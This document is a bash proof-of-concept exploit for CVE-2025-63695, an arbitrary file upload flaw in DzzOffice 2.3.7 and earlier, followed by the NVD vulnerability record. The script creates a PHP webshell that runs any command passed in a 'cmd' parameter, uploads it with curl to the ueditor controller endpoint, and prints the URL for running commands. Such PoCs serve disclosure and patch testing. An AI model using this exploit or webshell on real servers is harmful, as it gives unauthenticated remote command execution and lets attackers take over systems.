CVE-2025-63695

#!/bin/bash # CVE-2025-63695 DzzOffice Arbitrary File Upload PoC # Target: DzzOffice <= v2.3.7 TARGET_URL="http://target.com" UPLOAD_PATH="/dzz/system/ueditor/php/controller.php" UPLOADED_SHELL="shell.php" # Create malicious PHP file (webshell) cat > /tmp/$UPLOADED_SHELL << 'EOF' <?php if(isset($_GET['cmd'])) { echo "<pre>"; $cmd = $_GET['cmd']; system($cmd); echo "</pre>"; } ?> EOF # Upload the malicious file echo "[*] Uploading malicious file..." curl -X POST "$TARGET_URL$UPLOAD_PATH" \ -F "upfile=@/tmp/$UPLOADED_SHELL" \ -F "action=uploadimage" \ -F "fileName=$UPLOADED_SHELL" echo "" echo "[*] If successful, access the shell at:" echo "[*] $TARGET_URL/dzz/org/dzzoffice/userdir/1/1/$UPLOADED_SHELL?cmd=whoami" # Cleanup rm -f /tmp/$UPLOADED_SHELL

{"cve": {"id": "CVE-2025-63695", "sourceIdentifier": "[email protected]", "published": "2025-11-18T18:16:13.590", "lastModified": "2025-11-20T19:04:23.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DzzOffice v2.3.7 and before is vulnerable to Arbitrary File Upload in /dzz/system/ueditor/php/controller.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.7", "matchCriteriaId": "0B33512C-5E3C-4DBE-908D-DF7E4F784FD4"}]}]}], "references": [{"url": "https://github.com/Yohane-Mashiro/dzzoffice_upload", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/zyx0814/dzzoffice/issues/365", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/Yohane-Mashiro/dzzoffice_upload", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}